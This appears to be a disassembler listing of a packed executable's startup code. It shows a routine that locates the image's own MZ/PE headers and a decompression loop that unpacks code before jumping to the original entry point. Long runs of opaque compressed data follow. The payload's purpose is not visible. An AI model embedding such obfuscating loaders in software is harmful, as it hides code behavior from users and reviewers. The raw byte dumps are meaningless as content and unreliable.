loc_4E0047: ; DATA XREF: ___:00437A34o
and eax, 0FFFFF000h
xor edi, edi
loc_4E004E: ; CODE XREF: start+5Ej
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4E006D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E0074
loc_4E006D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_4E004E
; ---------------------------------------------------------------------------
loc_4E0074: ; CODE XREF: start+57j
mov edi, eax
loc_4E0076: ; CODE XREF: start+1Bj
jmp loc_4E0265
; ---------------------------------------------------------------------------
db 3
dd 26AB9C7h, 0CF03000Eh
db 0EBh, 0Ah
; ---------------------------------------------------------------------------
loc_4E0086: ; CODE XREF: start+8j
mov eax, offset loc_53E1CD
mov ecx, offset word_4E026A
push eax
push ecx
call sub_4E011B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E0265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
dw 9328h
dd 7888E4C9h, 0DA6E5EBCh, 3D630BCFh, 0D85F1F80h, 0DCBA75EBh
dd 1D3B76EDh, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 564635CCh
dd 0F28784C5h, 78F2E432h, 172F5EBCh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E011B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E0132: ; CODE XREF: sub_4E011B+7Aj
; sub_4E011B+C3j ...
add dl, dl
jnz short loc_4E013B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E013B: ; CODE XREF: sub_4E011B+19j
jnb short loc_4E0127
add dl, dl
jnz short loc_4E0146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0146: ; CODE XREF: sub_4E011B+24j
jnb short loc_4E0197
xor eax, eax
add dl, dl
jnz short loc_4E0153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0153: ; CODE XREF: sub_4E011B+31j
jnb loc_4E0238
add dl, dl
jnz short loc_4E0162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0162: ; CODE XREF: sub_4E011B+40j
adc eax, eax
add dl, dl
jnz short loc_4E016D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E016D: ; CODE XREF: sub_4E011B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E0178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0178: ; CODE XREF: sub_4E011B+56j
adc eax, eax
add dl, dl
jnz short loc_4E0183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0183: ; CODE XREF: sub_4E011B+61j
adc eax, eax
jz short loc_4E018D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E018D: ; CODE XREF: sub_4E011B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j
mov eax, 1
loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j
add dl, dl
jnz short loc_4E01A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01A5: ; CODE XREF: sub_4E011B+83j
adc eax, eax
add dl, dl
jnz short loc_4E01B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej
jb short loc_4E019C
sub eax, ebx
mov ebx, 1
jnz short loc_4E01E3
mov ecx, 1
loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j
add dl, dl
jnz short loc_4E01C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01C9: ; CODE XREF: sub_4E011B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E01D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01D4: ; CODE XREF: sub_4E011B+B2j
jb short loc_4E01C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j
add dl, dl
jnz short loc_4E01FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01FA: ; CODE XREF: sub_4E011B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E0205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0205: ; CODE XREF: sub_4E011B+E3j
jb short loc_4E01F1
cmp eax, 7D00h
jnb short loc_4E0228
cmp eax, 500h
jb short loc_4E0223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0223: ; CODE XREF: sub_4E011B+F8j
cmp eax, 7Fh
ja short loc_4E022B
loc_4E0228: ; CODE XREF: sub_4E011B+F1j
add ecx, 2
loc_4E022B: ; CODE XREF: sub_4E011B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E0259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0259: ; CODE XREF: sub_4E011B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E011B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4E0265: ; CODE XREF: start:loc_4E0076j
; start+9Dj
jmp loc_53E1CD
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_4E026A dw 38E9h ; DATA XREF: start+77o
dd 1523334h, 2422BFBAh, 0F3FB0AE1h, 0BF7B8401h, 102E92E2h
dd 848B36BCh, 70C6A87Eh, 115D8703h, 0E4877071h, 0DD215C98h
dd 2D3430E0h, 0AF0AE131h, 656854C0h, 6438696Dh, 88AE4661h
dd 0EB42B835h, 0E12122EFh, 29FFBE0Fh, 0FA759401h, 0D27DC845h
dd 0D0DF204Dh, 730E6552h, 67726174h, 2E177041h, 3FCB78A7h
dd 2214D7D0h, 0F723DC01h, 0DC33435Eh, 0B4DEDF21h, 6EFE5774h
dd 0AB110311h, 21C58BC7h, 0C2E860D4h, 0ED815D20h, 0E9330143h
dd 31958905h, 0B50D9F2Ah, 85080291h, 83021291h, 0E035DBDh
dd 8B0C7401h, 0B8E2C8E8h, 0C21EB991h, 244470F1h, 453E10C7h
dd 986A3A2Eh, 6829A3E8h, 83741E9Ah, 0ADF9407h, 894B2507h
dd 42D5A40Ah, 450214E9h
db 54h, 7Dh, 0
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
lodsb
out dx, al
add al, 5Ah
sub edx, 8B003431h
fcmovb st, st(7)
loc_4E0351: ; CODE XREF: Themida_:004E036Ej
inc ebp
fcom dword ptr [ecx+400EB108h]
mov [edi-33827EF8h], ecx
sbb byte ptr ds:200F6774h, 8
repne sbb dword ptr [ebx-7900EFB7h], 12h
inc ebx
jmp short loc_4E0351
; ---------------------------------------------------------------------------
dd 61DC3736h, 0C2C94126h, 81464004h, 0FF687CC4h, 7AE44902h
dd 80458D40h, 8145D8Bh, 441985C7h, 0AA08D50h, 880AC3D1h
dd 0B894118h, 6BD818Ah, 75295D20h, 8D4227E3h, 0C0648EBAh
dd 0E8A8075h, 5BF449BBh, 37ABB800h, 0D0D37854h, 8C30FFCh
dd 0B0F7754Bh, 5247C3AFh, 46464A46h, 2B42F92Ah, 0A08A61D1h
dd 0FDF075D0h, 0FC45EE8Ah, 4EB0A4Dh, 468C3CADh, 0F7403E80h
dd 6E84BA53h, 0C7D6134h, 3E907FEBh, 126DCCF8h, 0ECA84F0h
dd 4A8110F4h, 4F065C1h, 0D1F8D640h, 0C20339E0h, 0DB332860h
dd 301C1C8Ah, 72CCFB80h, 3D390A0Ah, 0EB3E0577h, 142267F2h
dd 0A0DF661h, 86F667Fh, 0C34E5F1Eh, 1A10AC0Ah, 0B723041h
dd 677460Ah, 18A224DEh, 0ECF05D01h, 7D7383F4h, 0B072021Bh
dd 76C0370Ch, 26AA66A5h, 7CEF841h, 0A86A8Dh, 0FFC553Bh
dd 0BDA97882h, 0BEAAC1B0h, 8BA5038h, 70E0B9E0h, 0C0BDFCA8h
dd 1FE3540h, 7549470Fh, 0C522B9FAh, 1BBDC6Ah, 82F1F4E3h
dd 1D0CEB6Fh, 0B3868E80h, 3806EA37h, 36376551h, 8AE5FE1Dh
dd 0E9070A26h, 6B590F05h, 42C54EFh, 5C392113h, 5D8A01C4h
dd 45820525h, 21160898h, 0C4015444h, 0C32C87EDh, 198712EAh
dd 0D7EF787Bh, 32638EC8h, 0EAC85C27h, 319D2FAh, 0F1806ACAh
dd 0CB8CE287h, 82670034h, 5B004E39h, 0B8100F76h, 7C043D51h
dd 613B76D1h, 9755A46h, 8011D52Eh, 0E4EC480Eh, 0A0069065h
dd 0AC58463h, 0C6968E05h, 0E1539180h, 2951C204h, 0E89B718Ch
dd 0A0760EE7h, 812BFF61h, 22800477h, 84C1341Dh, 753233F9h
dd 0E3FBC20h, 0EFCC0AEEh, 41E60230h, 8C33EC71h, 0F2FFCC7Fh
dd 0FD451940h, 604AE9h, 8C52C462h, 1011254Dh, 99B1AA82h
dd 84A15AABh, 0E6561413h, 0EE825EC1h, 88155D1h, 8A9F8F07h
dd 4013B954h, 43A59723h, 43D1B40Eh, 0BE871038h, 0BC670E1Bh
dd 8D84FD17h, 531982DAh, 0E4C45B30h, 2255468Ah, 5343001Bh
dd 469C76C4h, 5A2868D6h, 0F4009FB2h, 0E28161CFh, 0C009E905h
dd 0AA0E3B2Fh, 12003D9Fh, 0B5CFD95h, 0FB8610CAh, 578023B2h
dd 0E4C45F30h, 2275468Ah, 57470115h, 8D100DC4h, 82158007h
dd 0FE8B90D4h, 86C80A1Fh, 399502BEh, 0E08C21E3h, 0F2953C3h
dd 0D43F12F9h, 398C5644h, 8A10C45Eh, 5646E06Dh, 0EAC92AC4h
dd 0DCA4F7E7h, 0DB803E0Ah, 3E0E87C2h, 16097AE5h, 198E9E6Ah
dd 19D0B7AFh, 2ADA00CEh, 714B53D2h, 86035E9Ah, 29BA7A41h
dd 2446B18Ah, 0DA8CA28Dh, 10DEB110h, 49800AE9h, 0EF382AF8h
dd 0C2006F84h, 0FEBF89D3h, 16FDF5h, 0F28C675Ch, 5ED1C482h
dd 0F3C9FDABh, 807A4769h, 591CB7BFh, 0BCDF8207h, 8C115B9Fh
dd 0BBF8040Dh, 0EA1AC341h, 0EAD7DBD0h, 3E1A11DCh, 0D133057h
dd 0C55E7Fh, 16A2A896h, 25BB5362h, 0B307B00h, 0F9042014h
dd 0C282025Bh, 9BEE1A7h, 45A5D000h, 10541423h, 949DE685h
dd 60185081h, 0D0828C8Ah, 0BEA61F1Ch, 0C8D8C4F3h, 292D3DE9h
dd 9EAC6C60h, 0FF4BC0B8h, 0B0A443A3h, 97008B75h, 5FCB8363h
dd 3782E7E1h, 673939C1h, 643A9F9h, 6281DA38h, 80048F0Dh
dd 43D2C047h, 300B005Eh, 1C47815Bh, 0C3009C86h, 6651E611h
dd 6141A96h, 0F01DB1F5h, 0BE1D287Eh, 56064CB5h, 838F4h
dd 0DB680E0Bh, 22C545BBh, 0E68BB103h, 342F458h, 0EC71FC21h
dd 0D3A8AFC9h, 7C263154h, 0E40037F3h, 124E1BACh, 62FB01D8h
dd 1926153Bh, 30388065h, 0D7834FC2h, 687B000Eh, 8CDB2B52h
dd 757BEB18h, 27DC4801h, 0C9B1305Dh, 0D08F0F0h, 6A71F99Bh
dd 56B09D34h, 0A74BBBC0h, 1C1329Ah, 45B3D5E1h, 803DF359h
dd 66B822A1h, 4B962Ah, 29218D2Eh, 436B5761h, 58906554h
dd 0F39FC00h, 0D3A08EEFh, 0EA801D6h, 8FD02042h, 1955E8BAh
dd 8BB96D60h, 3FF961h, 4BEFBD85h, 0BA9D76DFh, 0DA23B200h
dd 8CB44CBEh, 315C611Bh, 8D1DDB6Ah, 99B61AB1h, 0C07C44F0h
dd 0FE98BC81h, 7006F0A9h, 0DDC6ABBh, 916B0731h, 870A9A44h
dd 0B286A05Ah, 3300764Dh, 4F1ABEE8h, 505214h, 7020BD73h
dd 22B6BB09h, 3739DD0Eh, 0BE6A814Bh, 8BED2FBh, 96C0A100h
dd 0E90BD5B8h, 0E540E100h, 49D0520Eh, 4C2A30B9h, 340A2282h
dd 0E1DD30C1h, 0DD447BFCh, 0B453AFC0h, 46190C20h, 1B20B854h
dd 31A13018h, 6CF88210h, 0C37840A3h, 4F10CE00h, 54BDD116h
dd 0E631030Fh, 321D38B3h, 6555300Dh, 70436937h, 3BB13D1Eh
dd 0FBA4E400h, 23FFA8E5h, 9AAD18C3h, 0EAC90FE6h, 94140EFh
dd 0D8A6B931h, 5160D34Fh, 88062041h, 0EF8300B7h, 4DF22A42h
dd 302290D1h, 7D9800EAh, 8FA833F1h, 0D20005FEh, 4137FA6Dh
dd 197B40Bh, 1CD33B31h, 0EF238A62h, 0E4DC14A1h, 0A963B7CBh
dd 0C289EEE1h, 0AD7880B6h, 74FD0C73h, 31A0FAEh, 0FB018BE1h
dd 80E830E9h, 0D9875879h, 1F1ABD2h, 0D5B1B007h, 8E3255BBh
dd 346B5228h, 530B8288h, 4088061h, 0C1481E3h, 0D5CFAEBBh
dd 3C600A51h, 0B8753421h, 0C7DA00B5h, 0C1739FD0h, 0A700D121h
dd 0B67BA686h, 0FAE9ABFBh, 0A402870h, 2456759Ch, 1F9CDB13h
dd 0B54F806Fh, 79D7FBBAh, 0A2AE0C14h, 0B84A81B8h, 38B84298h
dd 66D46480h, 0B68683FBh, 0E70CBD74h, 204E34B7h, 81851EE5h
dd 0FDCD050Ch, 6AA40148h, 416089B0h, 4099ADD8h, 80C8322Ch
dd 2CE91A41h, 3433630h, 837E6784h, 0ABB3AAB8h, 9F715FA8h
dd 289E3B0Ch, 26D2C0Ch, 3A41384Ah, 0FCA01933h, 0DCA84E1Eh
dd 0DE504561h, 0A0D26352h, 0C120B390h, 545348D8h, 18984739h
dd 0CF582850h, 0DC0CEC00h, 343A7CF4h, 4051D452h, 60AEA963h
dd 0D0D28ED8h, 71FA3C00h, 2116DB48h, 1E1A734Fh, 0B0D30BC8h
dd 0A0C92539h, 322B2F00h, 0E4A9D1FDh, 889500F3h, 6377AE03h
dd 1C91EACBh, 6783E300h, 0A269E4C0h, 0ADA10490h, 0C824090h
dd 6159F030h, 54F61044h, 95399CB4h, 0A6083FC0h, 1408194h
dd 167CF51Bh, 83DFAC88h, 8B4BEBE8h, 6482B007h, 4FF8A0BAh
dd 0B5D50233h, 0D1CD410h, 31613C48h, 0D424EA84h, 3A124CC9h
dd 92CC2130h, 820BE012h, 0E3051400h, 0C24EE0D0h, 0B0690AEEh
dd 7A82408h, 259DD4C6h, 53A006A5h, 8A03B1ACh, 0CD619E14h
dd 5EB3E88Fh, 0C15200C7h, 89DAC3A9h, 48C2F505h, 46097650h
dd 9DAE2450h, 76795878h, 82126F00h, 500194CAh, 1EF401E1h
dd 0D6D4FD60h, 8747CD95h, 0F38A3CB9h, 0A885A030h, 0C47C3A1Dh
dd 0C1DF5A1Eh, 164E90C1h, 0E1F8EBE7h, 4892A4EFh, 0B2D4BD0Ah
dd 60099424h, 0BE6010A8h, 71CC06A7h, 99D937F7h, 88B7DD04h
dd 6CC01EEFh, 49020725h, 1731090h, 318A67CBh, 403A059Dh
dd 47AB61E4h, 323B181Dh, 1D139000h, 75F57Bh, 0F76EDD68h
dd 0A966BFFDh, 932F400h, 0FF0AAB30h, 0D1BEC3C8h, 419FB58Dh
dd 0E4B3A196h, 55075691h, 0B4DE9509h, 0EB2C3580h, 5E610F7Dh
dd 796087F4h, 73302F48h, 0C070A00h, 932A68E0h, 0CE6C0062h
dd 537BACA2h, 7C1DB687h, 47DE3781h, 75EE7F00h, 28B0DC17h
dd 188073B8h, 0F8DBB2D3h, 0B426CB85h, 0A24780A0h, 3E44D4EAh
dd 4F971D40h, 0C51C980Bh, 0CCC0F302h, 0AAC175E8h, 2C3DF831h
dd 4E5030E4h, 52806669h, 90C41C48h, 86ECC500h, 8E7A6FBAh
dd 0B62E2C1Dh, 3067CA20h, 0DFBC0A69h, 9C926DFAh, 392430E4h
dd 130284E8h, 0C42D3AFDh, 7EC4B088h, 0D06E69B7h, 0B99C1C98h
dd 5753DA00h, 0A0306744h, 0BA0C06F1h, 58418997h, 0B5B6CC18h
dd 24C50BF1h, 9101B29h
dd 349B6B9Fh, 0CC02DFE2h, 2B3CC0F5h, 0B98B0FA2h, 0D8646982h
dd 1330804Dh, 4860899Dh, 79376EB1h, 2BD8C73Eh, 0A138A157h
dd 0EF4881D9h, 16E8A869h, 9290C034h, 859D10E4h, 0C7E2041Ch
dd 0ECCC4508h, 96AD2C4Fh, 0ECCC423Ch, 44D55CA7h, 2FC01F13h
dd 0A7E24017h, 401D61F0h, 0EA695328h, 4FD4AC90h, 0A9CE90A8h
dd 5B7C6E00h, 11B2660Ch, 74910F72h, 8F237E8Ah, 710FE730h
dd 60831BB1h, 110923D1h, 0AFB030CCh, 0E6CEAD81h, 84464CA2h
dd 691AD337h, 6DC33A40h, 0ABD39E6h, 0BFE1D803h, 0A00253BCh
dd 0EDCC136Eh, 0DE0CE899h, 0C8670D89h, 0E8201E10h, 70F9B7Dh
dd 8269790Fh, 0A2096F74h, 2A24351Ch, 96823F90h, 6B7B822Ch
dd 82E218C1h, 0C5145F91h, 8DFCA019h, 5498AE7Bh, 540AF484h
dd 7729039h, 49118334h, 0C01950B8h, 970331AEh, 0CC10BD0Ch
dd 0DC22B0B3h, 96BF026Ah, 0ED0B4BA0h, 0A4501C44h, 0F9D420C0h
dd 30A01680h, 1886D046h, 68552619h, 881340D0h, 809240B8h
dd 52365D22h, 0EE00F053h, 0F461FF51h, 0B8144E27h, 680A967h
dd 4DCDE533h, 8CDC31D0h, 30E1E0h, 62D8B0A7h, 2BBE7855h
dd 0C128A040h, 0E4F4DC41h, 0CD33166Ah, 0D4C452Dh, 0FC84C854h
dd 0C1499707h, 13F017DEh, 0CAC5B0h, 5CF4A251h, 697A641Eh
dd 31221F7Fh, 35A803D0h, 0ED6BA6F5h, 1F4DD6B0h, 94231017h
dd 87E55A03h, 0B50A008Ch, 0E630FB8Ah, 44B13339h, 4559B02h
dd 0B330C1ABh, 942218FCh, 0D3671C40h, 1C5423ACh, 9EF1313Fh
dd 82C1D7ABh, 1BA388B8h, 49EECB11h, 5190019Ch, 287C076Bh
dd 0DB48C468h, 0E0C08183h, 9AAD0045h, 50C9D8DCh, 5E1D6D38h
dd 49C4BB06h, 44904CA0h, 927E358h, 8D22DCB8h, 0CC214882h
dd 547C8400h, 4979DFB6h, 0D98203C6h, 0AC520261h, 8100E9F8h
dd 2D47978Ch, 67A0C1Ah, 5EA06820h, 5444E163h, 57F490h
dd 0F39461B0h, 2A502015h, 88C54628h, 431B769h, 48408118h
dd 0A5C534ABh, 68F03763h, 49E384h, 0EC7B4451h, 470F37Dh
dd 65264B01h, 1677BD1Fh, 0CA427E4h, 4D373A59h, 0CC54FB31h
dd 9C0EC988h, 205AAB91h, 0DC31E84Bh, 0DD08010Fh, 0A3ACBC0h
dd 53B02488h, 180064B9h, 0E702CC64h, 478904E9h, 8C4668A8h
dd 1F1EEB30h, 0F2C06BE1h, 0E602A6C3h, 0C15F032Ah, 236DCE95h
dd 30A5B2D3h, 0D22AF988h, 138A7700h, 0D5DE933Bh, 8FB60C2Dh
dd 0B3810409h, 47C93814h, 0A26801B8h, 0E1D488B4h, 0E62BD040h
dd 0A7A002E4h, 95276C6Ah, 0A8D08448h, 109C0B48h, 120042B1h
dd 7C2C32D1h, 0DB746A0Ch, 64297EF0h, 7981E447h, 1D65C108h
dd 24A7E1D4h, 10192Ch, 7BE45A07h, 94FE7123h, 3B689F48h
dd 67838068h, 0BDED34AEh, 510B26Eh, 66526C35h, 0DCB40291h
dd 8844323Ah, 249D7308h, 0AEF50EA3h, 0C411D6ABh, 0F3F8103Dh
dd 81E0000Fh, 89078FE1h, 63037FDBh, 7785AAF5h, 59D82495h
dd 3A278510h, 23300138h, 1AB704Eh, 88916135h, 0AE541815h
dd 60BF4E9h, 0C180F502h, 0AF01F8B2h, 330A59C3h, 61DA7A30h
dd 5C5039D8h, 89D8659Bh, 83CC4463h, 5100AD98h, 4EFC98DEh
dd 3B2CA0E3h, 2BA888B6h, 0C08348ACh, 0D48FB85Ch, 969A3320h
dd 30005AD8h, 6F8104BCh, 24276665h, 84F04C84h, 13AA9C5h
dd 606EB04Eh, 6297AD01h, 9FE20448h, 988869F0h, 84E4DA5h
dd 3D58C00Ah, 0A2F1FDCh, 99429A0h, 2090B5CCh, 8522CFB3h
dd 94B07E3Bh, 92D11224h, 49C2244h, 0C56B6820h, 45A1698h
dd 0A41C3D40h, 59445340h, 4D612455h, 38708264h, 5040CEFDh
dd 0CF00848Ch, 0EC9BD1A1h, 0FC5636B7h, 0DC480F27h, 6014F8A0h
dd 7C248B10h, 1E347B3Ch, 42C2C18h, 0E0FBE8E1h, 0A313A180h
dd 0B60CBF93h, 0E137F700h, 209BBBB5h, 8ABA154Fh, 7CB230DBh
dd 566F802Fh, 116FAD6h, 4EE09867h, 0E0914D4Ch, 88619D32h
dd 0BC5EE629h, 5BABE080h, 2BFB4D19h, 69DCB202h, 42218428h
dd 0F208204h, 0B510C0FCh, 0DBEB3063h, 0A0C0DCB1h, 0D7E204B2h
dd 0D30851F9h, 99E03497h, 41D69D77h, 0E1114C1Fh, 3202A003h
dd 910680E5h, 7838EEC8h, 7C160379h, 84E53AAEh, 0B808214Eh
dd 7CD98119h, 407790EEh, 57C86818h, 9F39E0A8h, 0AE6AF805h
dd 0FC403D97h, 657D8885h, 40DCA8A6h, 607C03ACh, 66BD6B8Ah
dd 58DFC010h, 49D67476h, 0D2002049h, 52548D15h, 4107183Ch
dd 0D47C1185h, 3025BB10h, 8028316Ah, 49AD9989h, 0E82C2098h
dd 95B98A8h, 0AB850FDh, 400EA832h, 81A0314Fh, 5CE9BF13h
dd 64CD7421h, 54DEF5FCh, 0A1E394E2h, 94399785h, 0F8416B00h
dd 393A9349h, 1961FA66h, 1D372A10h, 0D6D00590h, 0C208A9F0h
dd 92151C8h, 285AE2E4h, 53D0722Ah, 4C9D2818h, 0EF58B9AAh
dd 3400C099h, 6C3D274Eh, 6D9D2646h, 3090A4h, 5CA5B4DDh
dd 53AA7CD2h, 3EC440E2h, 394E37Eh, 6B2C1201h, 0E39BB032h
dd 198222F1h, 416CFB33h, 0F331AEB5h, 3AC23C5Ah, 5848063Ch
dd 0A6559F6Eh, 305851D4h, 95BA026Bh, 0BCDB1034h, 6267008Dh
dd 0CFF02D12h, 0E52030DDh, 0AC250069h, 316B1B5Bh, 428CEF8h
dd 5BE948A5h, 61AA23BCh, 84FE98AEh, 3F6B1E91h, 8A390883h
dd 5FA8A13Ah, 642D6FDCh, 0FB50AD22h, 44843454h, 630660B1h
dd 6E64533Eh, 7CED0371h, 0C6B61719h, 975EECD0h, 0C7098509h
dd 70188ABDh, 7B742F81h, 7EA5E1FBh, 919918A0h, 0FC29316Dh
dd 0B7942016h, 455382BCh, 12A08426h, 7349C93h, 0D9DB4708h
dd 7084C1E4h, 8F1024E9h, 36C400FFh, 0E8EE3837h, 42324E00h
dd 985B9A71h, 0AD5D2607h, 1EF01BA9h, 0A0EF0Bh, 16D5728Eh
dd 0FD793129h, 18FA5800h, 3EE3DF38h, 3B2FEE59h, 8E00CC7Ch
dd 0A6666414h, 0CA1D9BE6h, 27A6B45Ah, 0B712D600h, 0F6FF7930h
dd 401960F5h, 23423F3Dh, 0CC0E4A7Ch, 0A022921Ch, 0F2E09337h
dd 70AF001Eh, 0E56B7EBBh, 36002955h, 15B14EBh, 1BA3824h
dd 234005D7h, 0D2BE7944h, 44878C5h, 0F8A8DC7Fh, 41CE6E3h
dd 0D8A4214Ah, 20A74B03h, 23ABE871h, 0C81F00B1h, 797EE9C1h
dd 0B70054D6h, 5E187A43h, 3066D5ECh, 0F740E3BAh, 8300EE41h
dd 7C4E511Dh, 0E09A36h, 0BCBA2FE4h, 6F3286A6h, 2E09B400h
dd 0F17F0C70h, 0BB3801D1h, 304802E3h, 513F0043h, 605E0127h
dd 33F6E0A6h, 62F070C4h, 54DA3800h, 87D81FBh, 81987Fh
dd 0F829BD66h, 0EE312C48h, 98421C02h, 616A5E28h, 9422BB38h
dd 0D7E9A0EBh, 0FE4400FFh, 3EC57C3Fh, 79001951h, 0F9E0A360h
dd 4070BA27h, 160E0BABh, 61802EFDh, 6B23B08Fh, 78C60h
dd 75873247h, 208D5B7Eh, 68376300h, 9EFDEA11h, 4DE4EBh
dd 32E56DD7h, 951AAC41h, 40D5B437h, 314205A1h, 925B9800h
dd 5E791300h, 2BEE2367h, 0B2C21EC6h, 5A0B404Bh, 1A702FB7h
dd 23F58000h, 5CD296Ch, 3E87EC4Eh, 90819A7Eh, 655E6F13h
dd 0AB8C666Bh, 0E57237F0h, 433EE800h, 977C30FAh, 2A9D004Bh
dd 0E065AA74h, 0C040253Dh, 0C6E0F90h, 784028DBh, 24F5644Bh
dd 0E8F43807h, 407E47FBh, 0A1187EADh, 6A7C3D1Ah, 0ECED1B80h
dd 4BA5B6C7h, 3DDA7200h, 0E09540F9h, 0D8FC0158h, 4DD2965h
dd 8245DC3Fh, 514F8700h, 0AAAD6723h, 0B020F8E0h, 4BBC008Bh
dd 416E770h, 0A00AC30h, 3219F157h, 71E2Ah, 7087264Ah, 0E5921783h
dd 0A560610Eh, 9DEC26DDh, 0AC885942h, 7A492201h, 33BA9519h
dd 0FF044608h, 0F70014E8h, 2F6DACEDh, 16F8FEFh, 70B349FBh
dd 4A240E6Bh
dd 0ABF7A034h, 9BDF3989h, 0C7097h, 0FF4B6F16h, 0F4E4643h
dd 37FB6028h, 4318198Bh, 0DFC3EB6Bh, 43D2100h, 0F769807Ah
dd 62181A17h, 44F2082Fh, 7A03FCE2h, 0BF09AEC8h, 0BCC7882Eh
dd 6C690097h, 0A5BB1CD3h, 16395149h, 13248667h, 79BA53h
dd 59F809Eh, 6F408834h, 8583B33h, 0FC2100A8h, 0E4B09F89h
dd 0AD03621Ah, 0EEABDC5h, 958ACA32h, 80D49154h, 0B6F31C25h
dd 8C65009Bh, 0EDE5FBBBh, 0D6019480h, 7622B853h, 41EC3934h
dd 0DDC0C03Ch, 0F92AADEh, 0EB7BB617h, 0C84EA0D0h, 207F055h
dd 1806BD31h, 1C993A03h, 0F2A302ACh, 0C52F3F20h, 1CD2A000h
dd 8BE27EDCh, 14C06709h, 22BC7049h, 55AD1D5h, 0B6905097h
dd 7D6C843h, 3A876B3Fh, 0B1170785h, 2F41D920h, 6D639404h
dd 0CE64B441h, 8120939Ch, 7999D4A0h, 0F0A9609Dh, 0C596AD6Ah
dd 6B0CECB6h, 2055B868h, 3978D415h, 82E9CE60h, 2765EC86h
dd 94C69B33h, 1802D17Ah, 0BE63116h, 40C0D4DBh, 671A0799h
dd 43B1F200h, 0B5D96EDEh, 226B60E4h, 340340D3h, 0E039ED25h
dd 18B61BCCh, 0C84ACD38h, 6D00AEE0h, 7A5C5B81h, 0BC051C65h
dd 464C288Ch, 7A0A02E5h, 9CE76982h, 22400F8h, 3825967Ah
dd 4D0B1FC4h, 0E8CEAE0Bh, 0F7B68ECh, 0FE4C93DCh, 4D65D440h
dd 0E63930F0h, 0E0E5A5B3h, 4B0CD264h, 1D1CC801h, 3A08B400h
dd 119D437Bh, 0A3030F70h, 8E80BB80h, 4E256C1h, 55D12B05h
dd 0B801B360h, 0F2438B7h, 0BD71E087h, 0FA184C50h, 41183401h
dd 2CA120B4h, 56252082h, 0D000BA90h, 1E3BD73Ch, 40CF55D2h
dd 624F77EEh, 5901E78Dh, 9D2F472Bh, 0DC44F8DCh, 3E10903Ah
dd 3D5CC06Bh, 41636CBh, 0AA39659Dh, 805CBC0Ch, 11C80DD7h
dd 0AD711F10h, 0BDD143BFh, 0A000B9B0h, 86892B05h, 7AA7A8A5h
dd 93DB2D17h, 0E3511066h, 4B9187F2h, 0E5205818h, 16041A5h
dd 0E3ECF4ADh, 0C4FA2043h, 0DC136550h, 78E409D3h, 3F67311h
dd 5DD20A9Fh, 0EDE86D8Ah, 9D3249h, 9D47C0F0h, 26B7284h
dd 51D29ACFh, 84978A79h, 616ADB88h, 0FCACCE82h, 0E32A9842h
dd 1FF45CE5h, 0D48F1A1Fh, 0D1F2CBC0h, 0BCA54Fh, 5A2E0A23h
dd 0EDE2A84Eh, 38722F05h, 0E4170E67h, 0F8041094h, 0C000AECCh
dd 6F3D1ECh, 6B52EB12h, 0B2B5D823h, 61B440CDh, 0B3D60665h
dd 480DF788h, 0A6B1ED01h, 0DFD9538Dh, 9A9DD420h, 39E209ACh
